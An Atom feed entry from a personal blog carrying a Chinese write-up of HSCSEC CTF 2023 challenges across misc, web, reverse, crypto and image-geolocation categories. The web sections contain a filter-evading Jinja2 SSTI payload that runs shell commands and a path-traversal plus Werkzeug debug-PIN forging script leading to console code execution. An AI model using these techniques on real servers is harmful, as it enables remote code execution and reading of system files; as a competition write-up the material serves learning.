<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
            <title type="text">不做评论 - 想过平静的生活~</title>
            <subtitle type="text">超业余前端、超业余后端、低技术力，只想过平静的生活</subtitle>
    <updated>2023-02-14T00:18:16+08:00</updated>
        <id>https://blog.vvbbnn00.cn</id>
        <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn" />
        <link rel="self" type="application/atom+xml" href="https://blog.vvbbnn00.cn/atom.xml" />
    <rights>Copyright © 2026, 不做评论 - 想过平静的生活~</rights>
    <generator uri="https://halo.run/" version="1.6.0">Halo</generator>
            <entry>
                <title><![CDATA[HSCSEC CTF 2th 2023 部分Writeup]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/hscsecctf2th2023-bu-fen-writeup" />
                <id>tag:https://blog.vvbbnn00.cn,2023-02-14:hscsecctf2th2023-bu-fen-writeup</id>
                <published>2023-02-14T00:11:04+08:00</published>
                <updated>2023-02-14T00:18:16+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<p>好难，只能水一些简单的题了（</p><blockquote><p>比赛地址：<a href="https://race.hscsec.cn/challenges" target="_blank">https://race.hscsec.cn/challenges</a></p></blockquote><h2 id="%5Bmisc%5D-signin" tabindex="-1">[MISC] SIGNIN</h2><p>关注公众号：中龙 红客突击队 发送：HSCCTF{TELLMEFLAG}获取flag！</p><p>根据提示，关注微信公众号，得到flag：</p><pre><code class="language-text">HSCSEC{W3Ic0m3_t0_HScCtF2tH}</code></pre><h2 id="%5Bmisc%5D-ezimg" tabindex="-1">[MISC] EZIMG</h2><p>flag分为三段，使用<code>010 Editor</code>打开图片，发现文件末端有PNG图像的特征：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/659a81c84c524ca091672cb6ed0fbcf2.png" alt="659a81c84c524ca091672cb6ed0fbcf2" /><br />提取，python倒序输出，得到图片（深色背景下有半透明文字）<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/767f890f9a4c46bbbc846a4404c07f00.png" alt="111.png" /><br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/1148e6fbbe574684b67a73e32e175e20.png" alt="2514f78a2459f670e531c87f6caacd62.png" /><br />根据图片内容知第一段flag：<code>HSCSEC{p3G_h</code></p><p>接着，继续观察倒序的图片文件，得到01序列：</p><pre><code class="language-text">1100101011011011100000000010000011110001110000000010001101111000101000000000011000101100001000000000100111111010011010000000011011000101111111000000001100101011011000100000000110110001100101010000000011011111100010101111001011101011011001000010110110110111100010010110110010111000011111001001001010100100111101011000011110011010001101001010010000010011110001000110010010101111101000010110110010100011001000111000111011111011100000000010110111000000000000000010101010100000000000000001101000100000000000000000011000100000000000000000000000111000000000000000000110101110000000000000000011111100000000000000000001101001000000000</code></pre><p>使用脚本生成二维码：</p><pre><code class="language-python">zo_data = &quot;&quot;&quot;1100101011011011100000000010000011110001110000000010001101111000101000000000011000101100001000000000100111111010011010000000011011000101111111000000001100101011011000100000000110110001100101010000000011011111100010101111001011101011011001000010110110110111100010010110110010111000011111001001001010100100111101011000011110011010001101001010010000010011110001000110010010101111101000010110110010100011001000111000111011111011100000000010110111000000000000000010101010100000000000000001101000100000000000000000011000100000000000000000000000111000000000000000000110101110000000000000000011111100000000000000000001101001000000000&quot;&quot;&quot;if __name__ == &#39;__main__&#39;:    # f = open(r&quot;C:\Users\vvbbnn00\Desktop\desktop.png&quot;, &quot;rb&quot;).read()    # open(r&quot;C:\Users\vvbbnn00\Desktop\desktop1.png&quot;, &quot;wb&quot;).write(f[::-1])    from PIL import Image    MAX = 25    pic = Image.new(&quot;RGB&quot;, (MAX, MAX))    inp = &quot;&quot;.join(zo_data.split(&quot;\n&quot;))    i = 0    for y in range(0, MAX):        for x in range(0, MAX):            if inp[i] == &#39;1&#39;:                pic.putpixel((x, y), (0, 0, 0))            else:                pic.putpixel((x, y), (255, 255, 255))            i = i + 1    pic.show()</code></pre><p>补全缺少的定位点，得到如下二维码：</p><p><img src="https://blog.vvbbnn00.cn/upload/2023/02/234710570b1643458f8fb3f3e43a5e22.png" alt="2cd269a48032fcb63c5c1ed447cba623.png" /><br />扫码获得第二段flag：<code>aQR_c0de_and</code></p><p>根据提示，将图片上传至<a href="https://www.toolscat.com/img/image-mask" target="_blank">https://www.toolscat.com/img/image-mask</a>提取隐写信息，得到第三段flag：<code>_3nc}</code></p><p>最终flag：</p><pre><code class="language-text">HSCSEC{p3G_haQR_c0de_and_3nc}</code></pre><h2 id="%5Bweb%5D-ezssti" tabindex="-1">[WEB] EZSSTI</h2><p>进入环境以后，以为与<code>Werkzeug PIN</code>有关，但实际上不用这么复杂。首先，你的运气要足够好，才能猜到在这个毫无提示的主页中，可以传入参数<code>name</code>，如果你的运气不够好，就会像笔者一样，尝试了无数的参数无功而返，怀疑人生（</p><p>传入<code>name</code>参数后，发现<code>Welcome to the HSCSEC CTF 2023</code>的<code> HSCSEC CTF 2023</code>可以根据传入内容的不同而修改，且存在<code>SSTI</code>注入漏洞，于是，可以构造<code>payload</code>：</p><pre><code class="language-text">?name={{&#39;&#39;.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[&#39;__builtins__&#39;].eval(&quot;__import__(&#39;os&#39;).po&quot;+&quot;pen(&#39;ca&quot;+&quot;t /fl&quot; + &quot;ag&#39;).read()&quot;)}}</code></pre><p>由于这里过滤了<code>popen</code>、<code>cat</code>、<code>flag</code>等，因此可以简单拼接一下。<br />得到flag：</p><pre><code class="language-text">HSCSEC{fd92ad53-d8cd-41fa-8a40-0e5e3e91b7f6}</code></pre><h2 id="%5Bweb%5D-ezsyflask" tabindex="-1">[WEB] EZSYFLASK</h2><p>访问<code>/view?filename=app.py</code>查看源代码，发现存在路径穿越漏洞，尝试不携带参数访问，发现存在flask的debug模式页面，因此，可以计算PIN来获取<code>console</code>。笔者先尝试了网络上的PIN计算脚本，但是都没成功，后面发现可能和<code>Werkzeug</code>版本有关，分析代码可知，生成PIN大致需要</p><ul><li>网卡MAC地址：<code>/sys/class/net/eth0/address</code></li><li><code>/etc/machine-id</code>或者<code>/proc/sys/kernel/random/boot_id</code>，此处<strong>只取其一</strong>，若前者不存在，则尝试获取后者</li><li><code>/proc/self/cgroup</code>中的<code>CPUID</code></li><li>运行python程序的用户名</li><li><code>flask</code>模组的文件路径</li></ul><p>通过路径穿越漏洞，我们可以轻松得到<code>MAC地址</code>和<code>machine-id</code>；通过报错界面，我们可以得到<code>flask</code>模组文件的绝对路径；然而，<code>/proc/self</code>、<code>cgroup</code>在代码中被禁止，导致我们无法直接获得。<br />对于执行程序的用户，我们可以暴力枚举<code>PID</code>，找到<code>python</code>程序的<code>PID</code>，查看<code>/proc/&lt;PID&gt;/environ</code>即可，得到用户名为<code>app</code>；对于<code>CPUID</code>，除了<code>cgroup</code>之外，我们还可以从<code>/proc/1/cpuset</code>中找到。<br />得到上述所有信息后，即可生成PIN，代码如下：</p><pre><code class="language-python">import hashlibimport uuidfrom itertools import chainmac = &#39;02:42:ac:02:01:50&#39; # /sys/class/net/eth0/addressmac = int(&#39;0x&#39; + mac.replace(&#39;:&#39;, &#39;&#39;), 16) # 1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup 或 cpusetmachine_id = b&#39;7265fe765262551a676151a24c02b7b6&#39;cgroup = b&#39;b511eedbf15d3d88b5c461e9e0beb2069e35635497f95d3af6be5b51b6f9ddb3&#39;modname = &#39;flask.app&#39;username = &#39;app&#39;file_path = &#39;/usr/local/lib/python3.8/site-packages/flask/app.py&#39;def hash_pin(pin: str) -&gt; str:    return hashlib.sha1(f&quot;{pin} added salt&quot;.encode(&quot;utf-8&quot;, &quot;replace&quot;)).hexdigest()[:12]def get_machine_id():    def _generate():        linux = b&quot;&quot;        # machine-id is stable across boots, boot_id is not.        for filename in &quot;/etc/machine-id&quot;, &quot;/proc/sys/kernel/random/boot_id&quot;:            try:                with open(filename, &quot;rb&quot;) as f:                    value = f.readline().strip()            except OSError:                continue            if value:                linux += value                break        # Containers share the same machine id, add some cgroup        # information. This is used outside containers too but should be        # relatively stable across boots.        try:            with open(&quot;/proc/self/cgroup&quot;, &quot;rb&quot;) as f:                linux += f.readline().strip().rpartition(b&quot;/&quot;)[2]        except OSError:            pass        return linux    _machine_id = _generate()    return machine_id + cgroupdef get_pin_and_cookie_name():    &quot;&quot;&quot;Given an application object this returns a semi-stable 9 digit pin    code and a random key.  The hope is that this is stable between    restarts to not make debugging particularly frustrating.  If the pin    was forcefully disabled this returns &#96;None&#96;.    Second item in the resulting tuple is the cookie name for remembering.    &quot;&quot;&quot;    # This information only exists to make the cookie unique on the    # computer, not as a security feature.    probably_public_bits = [        username,        modname,        &#39;Flask&#39;,        file_path,    ]    # This information is here to make it harder for an attacker to    # guess the cookie name.  They are unlikely to be contained anywhere    # within the unauthenticated debug page.    private_bits = [str(mac), get_machine_id()]    h = hashlib.sha1()    for bit in chain(probably_public_bits, private_bits):        if not bit:            continue        if isinstance(bit, str):            bit = bit.encode(&quot;utf-8&quot;)        h.update(bit)    h.update(b&quot;cookiesalt&quot;)    cookie_name = f&quot;__wzd{h.hexdigest()[:20]}&quot;    # If we need to generate a pin we salt it a bit more so that we don&#39;t    # end up with the same value and generate out 9 digits    h.update(b&quot;pinsalt&quot;)    num = f&quot;{int(h.hexdigest(), 16):09d}&quot;[:9]    rv = &#39;&#39;    # Format the pincode in groups of digits for easier remembering if    # we don&#39;t have a result yet.    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = &quot;-&quot;.join(                num[x: x + group_size].rjust(group_size, &quot;0&quot;)                for x in range(0, len(num), group_size)            )            break    return rv, cookie_nameif __name__ == &#39;__main__&#39;:    print(get_pin_and_cookie_name())</code></pre><p>解锁<code>console</code>后，输入<code>__import__('os').popen('/readflag').read()</code>获取flag：</p><pre><code class="language-text">HSCSEC{39fed8c7-8a74-4d0b-a90f-39b39972ddf9}</code></pre><h2 id="%5Breverse%5D-decompileoneoone" tabindex="-1">[REVERSE] DECOMPILEONEOONE</h2><p>本题考查基础逆向，根据代码解密即可。解密代码如下：</p><pre><code class="language-c">#include &lt;stdint.h&gt;#include &lt;stdio.h&gt;int __cdecl main() {int i; // [rsp+Ch] [rbp-94h]__int64 v6[3]; // [rsp+10h] [rbp-90h]v6[0] = 0x5C797E8971697066LL;v6[1] = 0x8D83497D7F6F7A3DLL;v6[2] = 0x949DA8758277A9A5LL;char v7[] = &quot;|M\x95\xb7&quot;;for ( i = 0; i &lt;= 27; ++i ) {int c;if (i &lt;= 23)c = *((char *)v6 + i);elsec = *((char *)v7 + i - 24);if ( (i &amp; 1) != 0 )c += i + 1;elsec += i;c ^= (char)i + 1;c -= 3 * i + 1;printf(&quot;%c&quot;, c);}}</code></pre><p>得到flag：</p><pre><code class="language-text">flag{reV3rSe_1s_sucH_hanV1e}</code></pre><h2 id="%5Breverse%5D-whack-a-mole" tabindex="-1">[REVERSE] Whack-a-mole</h2><p>本题考查Win32API的使用，查看源代码，可知：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/f98d014538a9480292415004ecbb9945.png" alt="13350615f2fe650fd3801f03bd38b2a4.png" /><br /><code>Msg</code>需为<code>273</code>、<code>wParam</code>需为<code>3</code>、<code>lParam</code>需为<code>3301</code>即可。<br />先运行待破解程序，然后运行如下代码：</p><pre><code class="language-c">#include &lt;windows.h&gt;#include &lt;stdio.h&gt;int main() {HWND target = NULL;target = FindWindowW(NULL, L&quot;revme&quot;);if (target == NULL) {printf(&quot;error!&quot;);return -1;}printf(&quot;0x%x\n&quot;, target);HWND hbuttonbox = FindWindowEx(target, 0, NULL, &quot;flag&quot;);printf(&quot;0x%x\n&quot;, hbuttonbox);PostMessageW(target, 273, 3, 3301);}</code></pre><p>得到flag：</p><pre><code class="language-text">w1n32_aPi_iS_FUn</code></pre><h2 id="%5Breverse%5D-base-secrets" tabindex="-1">[REVERSE] Base secrets</h2><p>本题是一个换表的<code>Base64</code>，但笔者比较菜，找了半天只找到原文：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/04df3af8c2dc40ee8084c3c265993f8d.png" alt="0bf81cdf67e9879004ea4d34bda50ba2.png" /><br />此处的<code> 1k</code>不属于原文，从<code>.length=44</code>可知。</p><pre><code class="language-text">hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=</code></pre><p>那么，能否从已有的信息算出字母表呢？答案是肯定的。<br />根据尝试，我们可以确定，<code>fla</code>对应的<code>Base64</code>密文为<code>hexZ</code>，那么，我们可以以此为突破口，在内存中找到<code>Base64</code>编码后的数据。根据常识，我们知道，<code>Base64</code>会以3个字符为一组进行编码，因此，我们只需将所有需要的字符都构造一遍（实际上不需要这么多，只需要64个后6位不同的字符组即可），就能够推出字母表了，首先，在程序中添加断点，然后输入：</p><pre><code class="language-text">fla     !  &quot;  #  $  %  &amp;  &#39;  (  )  *  +  ,  -  .  /  0  1  2  3  4  5  6  7  8  9  :  ;  &lt;  =  &gt;  ?  @  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  [  \  ]  ^  _  &#96;  a  b  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v  w  x  y  z  {  |  }  ~</code></pre><p>内存中查询<code>hexZ</code>，得到：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/cc64e94d28994e4786b4eeb85fb8d474.png" alt="6641f0183d3b7584d9eecf5b6375e974.png" /><br />成功得到我们需要的内容，接着，只需编写脚本，即可反推出字母表：</p><pre><code class="language-python">import base64import stringif __name__ == &#39;__main__&#39;:    for i in range(32, 127):        print(&#39;  &#39;, chr(i), sep=&#39;&#39;, end=&#39;&#39;)    print()    ret = &#39;&#39;.join(&quot;&quot;&quot;I64YI64ZI64aI64bI64cI64dI64eI64fI64oI64pI64qI64rI64sI64tI64uI64vI64wI64xI64yI64zI640I641I642I643I64AI64BI64CI64DI64EI64FI64GI64HI654I655I656I657I658I659I65+I65-I65II65JI65KI65LI65MI65NI65OI65PI65QI65RI65SI65TI65UI65VI65WI65XI65gI65hI65iI65jI65kI65lI65mI65nI65YI65ZI65aI65bI65cI65dI65eI65fI65oI65pI65qI65rI65sI65tI65uI65vI65wI65xI65yI65zI650I651I652I653I65AI65BI65CI65DI65EI65FI65G7Qo=&quot;&quot;&quot;.split(&quot;\n&quot;))    print(ret)    index = 0    alphabet = [c for c in range(32, 128)]    dic = {}    while index * 4 &lt; len(ret):        ch = ret[index * 4:(index + 1) * 4]        key = ch[-1]        bin_data = &#39;0b&#39; + bin(alphabet[index])[2:].zfill(8)[2:]        index_data = int(bin_data, 2)        if not dic.get(index_data):            dic[index_data] = key        index += 1    print(dic)    new_alphabet = b&#39;&#39;    for i in range(64):        new_alphabet += dic[i].encode()    STANDARD_ALPHABET = b&#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#39;    DECODE_TRANS = bytes.maketrans(new_alphabet, STANDARD_ALPHABET)    print(base64.b64decode(&quot;hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=&quot;.translate(DECODE_TRANS)))</code></pre><p>运行得到flag：</p><pre><code class="language-text">flag{rUs7_n0_pr0b1EM_s0_yisey}</code></pre><h2 id="%5Breverse%5D-disco-simulator" tabindex="-1">[REVERSE] Disco simulator</h2><p>从程序附带的文件中可以看出，这是一个<code>OpenGL</code>程序，因此没有反编译的必要了，修改脚本文件即可。<br />打开程序，我们发现<code>flag</code>被挡住了，那么目的便很简单了：要么将前面的灯球去掉，要么修改自己的位置。<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/b7734340b3c34234a76f5a51a728a893.png" alt="038381b574304054522c88bf0f3d751f.png" /></p><p>在<code>a2.do</code>中，我们看到：</p><pre><code class="language-">#version 330 corelayout (location = 0) in vec3 bb7;layout (location = 1) in vec3 fr4;out vec3 d4;out vec3 s9;uniform mat4 fdc;uniform mat4 kkb;uniform mat4 ojc;void main(){    d4 = vec3(fdc * vec4(bb7, 1.0));    s9 = fr4;          gl_Position = ojc * kkb * vec4(d4, 1.0);}</code></pre><p>其中的<code>gl_Position = ojc * kkb * vec4(d4, 1.0);</code>是突破口，表示当前的位置。经过微调，<code>gl_Position = (ojc * kkb * vec4(d4, 0.195)) + vec4(14,0,0,0);</code>可以看到<code>flag</code>的前半部分：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/50f30e44b7eb4f19aa56d17201f9ca89.png" alt="78772dfbfdc9691392466dc4147c095b.png" /><br />然后按照这个规律，每次在<code>x</code>偏移<code>4</code>单位，即可将<code>flag</code>拼出来：</p><pre><code class="language-text">flag{6yCvikD_oPEngLc0oL_g4Me}</code></pre><h2 id="%5Bcrypto%5D-ezrsa" tabindex="-1">[CRYPTO] EZRSA</h2><p>题目代码：</p><pre><code class="language-python">from Crypto.Util.number import *import gmpy2m = 123p = getPrime(1024)q = getPrime(1024)n = p * qprint(&#39;n =&#39;, n)e = 0x10001M = m * e * 1 * 2022 * pc = pow(M, e, n)print(&#39;c =&#39;, c)# n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849# c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411</code></pre><p>由题可知，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><mn>2022</mn><mi>m</mi><mi>e</mi><mi>p</mi><mo separator="true">,</mo><mtext> </mtext><mi>n</mi><mo>=</mo><mi>p</mi><mi>q</mi></mrow><annotation encoding="application/x-tex">M=2022mep,\ n=pq</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord">2</span><span class="mord">0</span><span class="mord">2</span><span class="mord">2</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">p</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>，因此，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>g</mi><mi>c</mi><mi>d</mi><mo stretchy="false">(</mo><mi>M</mi><mo separator="true">,</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>p</mi></mrow><annotation encoding="application/x-tex">gcd(M, n)=p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">c</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span></span></span></span><br />得到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>q</mi></mrow><annotation encoding="application/x-tex">q</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>自然也能解出，接下来就是常规的<code>RSA</code>：</p><pre><code class="language-python">from Crypto.Util.number import long_to_bytesfrom gmpy2 import *e = 0x10001c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849p = gcd(c, n)q = n // pphi = (p - 1) * (q - 1)d = invert(e, phi)# M = m * e * 1 * 2022 * pM = pow(c, d, n)M //= e * 2022 * pif __name__ == &#39;__main__&#39;:    print(long_to_bytes(M))</code></pre><p>得到flag：</p><pre><code class="language-text">flag{3e5e2789a93a80615cc35edbff397c05}</code></pre><p>注：本题也可以用<code>RsaCtfTool</code></p><h2 id="%5Bcrypto%5D-operator" tabindex="-1">[CRYPTO] Operator</h2><p>题目代码：</p><pre><code class="language-python">#!/bin/python3from Crypto.Util.number import bytes_to_long, getPrimeFLAG = &quot;*******************MASK****************&quot;# print(FLAG)number1 = getPrime(512)number2 = getPrime(1024)print(number1)result = FLAG * number1 % number2print(result)&quot;&quot;&quot;Output:114883593759168168187318682525591194001261745930416081708838185462547918464796644551201943503550870174777448283518061579301991574629130635135124214606784711890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771&quot;&quot;&quot;</code></pre><p>乍一看<code>number2</code>不可知，实际上也没有知道的必要，因为位数差太多了，<code>FLAG*number1</code>大概率小于<code>number2</code>，因此只需要整除一下就行：</p><pre><code class="language-python">from Crypto.Util.number import long_to_bytesn1 = 11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471c = 1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771if __name__ == &#39;__main__&#39;:    print(long_to_bytes(c // n1))</code></pre><p>得到flag：</p><pre><code class="language-text">flag{qMmZqWvmj70bBsCfmVLT}</code></pre><h2 id="%5Bcrypto%5D-ezvc" tabindex="-1">[CRYPTO] EZVC</h2><p>题目代码和解题代码放在一起了：</p><pre><code class="language-python"># -*- coding: utf-8 -*-# alphabet = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!&quot;#$%&amp;\&#39;()*+,-./:;&lt;=&gt;?@[\]^_&#96;{|}~&#39;# key = &#39;HSC&#39;# # assert flag.startswith(&#39;HSCSEC{&#39;)# flag_num_list = []# c = []# for item in flag:#     flag_num_list.append(alphabet.find(item) + 1)# key_num = alphabet.find(key) + 1# for i in flag_num_list:#     m = (i + key_num) % 94 - 1#     if m == 0:#         c.append(&quot;□&quot;)#     c.append(alphabet[m-1:m])# print(&quot;c = {}&quot;.format(&#39;&#39;.join(c)))flag = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!&quot;#$%&amp;\&#39;()*+,-./:;&lt;=&gt;?@[\]^_&#96;{|}~&#39;c = &#39;□abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!&quot;#$%&amp;\&#39;()*+,-./:;&lt;=&gt;?@[\]^_&#96;{|}&#39;big_dic = {}for index in range(len(c)):    big_dic[c[index]] = flag[index]cipher = &#39;GRBRDB&#96;jg10ij2g01i,g201gi,2gi2,012igaigagi|&#39;for i in cipher:    print(big_dic[i], end=&#39;&#39;)if __name__ == &#39;__main__&#39;:    pass# c = GRBRDB&#96;jg10ij2g01i,g201gi,2gi2,012igaigagi|</code></pre><p>简单来说，每一位都是一一对应的，因此只需要找到对应关系即可，暴力枚举一遍。</p><p>得到flag：</p><pre><code class="language-text">HSCSEC{kh21jk3h12j-h312hj-3hj3-123jhbjhbhj}</code></pre><h2 id="%5Bmisc(%E7%A4%BE%E5%B7%A5)%5D-happy-lantern-festival" tabindex="-1">[MISC(社工)] Happy Lantern Festival</h2><p><img src="https://blog.vvbbnn00.cn/upload/2023/02/ca32a64960dc48a8800d2f4f066d15cc.png" alt="397d774e27a1a68cbd4e681565362e8e.png" /><br />根据横幅上的文字搜索，很快就能找到。</p><pre><code class="language-text">HSCSEC{新疆维吾尔自治区阿勒泰地区阿勒泰市五百里风情街}</code></pre><h2 id="%5Bmisc(%E7%A4%BE%E5%B7%A5)%5D-beautiful-lake" tabindex="-1">[MISC(社工)] Beautiful Lake</h2><p><img src="https://blog.vvbbnn00.cn/upload/2023/02/e64af7486c324932a5bbd09b60d66291.png" alt="96e2e9a94d5af649c9703fb9499084aa.png" /><br />突破口是右下角的文字，放大后是“宁夏理工学院”：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/8e31a5d2aef4458f9eee002d9d11c0ec.png" alt="ade48c292e36eb4cabf296b998e3f56b.png" /></p><p>地图搜索可知，应该是星海湖，flag具体是啥忘记了，反正格式需要调一调：</p><pre><code class="language-text">HSCSEC{宁夏省石嘴山市大武口区星海湖}</code></pre><h2 id="%5Bmisc(%E7%A4%BE%E5%B7%A5)%5D-apple-store" tabindex="-1">[MISC(社工)] Apple Store</h2><p>将图片上传百度识图，可以找到很相似的图片：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/c7cd78fec29542a7b0cee61a12cf5fb3.png" alt="d954efd026e8cfebf78d101cda4a6b9b.png" /><br />但可惜来源在百度找不到，谷歌上传百度找到的这张图，可以知道图片来源于<code>Getty Images</code>，作者<code>zhangpeng</code>，能找到原图（写wp的时候找不到了，但找到了类似的）：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/d94602b30d2e41308edc9e67e05f6e5f.png" alt="61268666dae2a27ecff307667fd48d15.png" /><br />都能知道具体地址（格式可能需调整）：</p><pre><code class="language-text">HSCSEC{北京市西城区西单北大街131号西单大悦城}</code></pre><h2 id="%5Bmisc(%E7%A4%BE%E5%B7%A5)%5D-beautiful-park" tabindex="-1">[MISC(社工)] Beautiful Park</h2><p>谷歌识图第一个就是：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/dde4a43a58fe4bbcb9998f406fc7e8a9.png" alt="6eb495eb49cb42307020e96c6247de6e.png" /><br />翻译一下得到flag：</p><pre><code class="language-text">HSCSEC{河北省张家口市怀来县官厅水库国家湿地公园}</code></pre><h2 id="%5Bmisc(%E7%A4%BE%E5%B7%A5)%5D-boat" tabindex="-1">[MISC(社工)] Boat</h2><p>百度识图得知是西湖：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/a1dab9505508494abe57f3665b3bb3fb.png" alt="14a397c9fbc36bb6eb4e2dae4558df4b.png" /><br />然后是试出西湖的正确地址：</p><pre><code class="language-text">HSCSEC{浙江省杭州市西湖区龙井路1号}</code></pre>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[HGame 2023 Week4 部分Writeup]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/hgame2023week4-bu-fen-writeup" />
                <id>tag:https://blog.vvbbnn00.cn,2023-02-06:hgame2023week4-bu-fen-writeup</id>
                <published>2023-02-06T20:00:00+08:00</published>
                <updated>2023-02-05T01:36:27+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
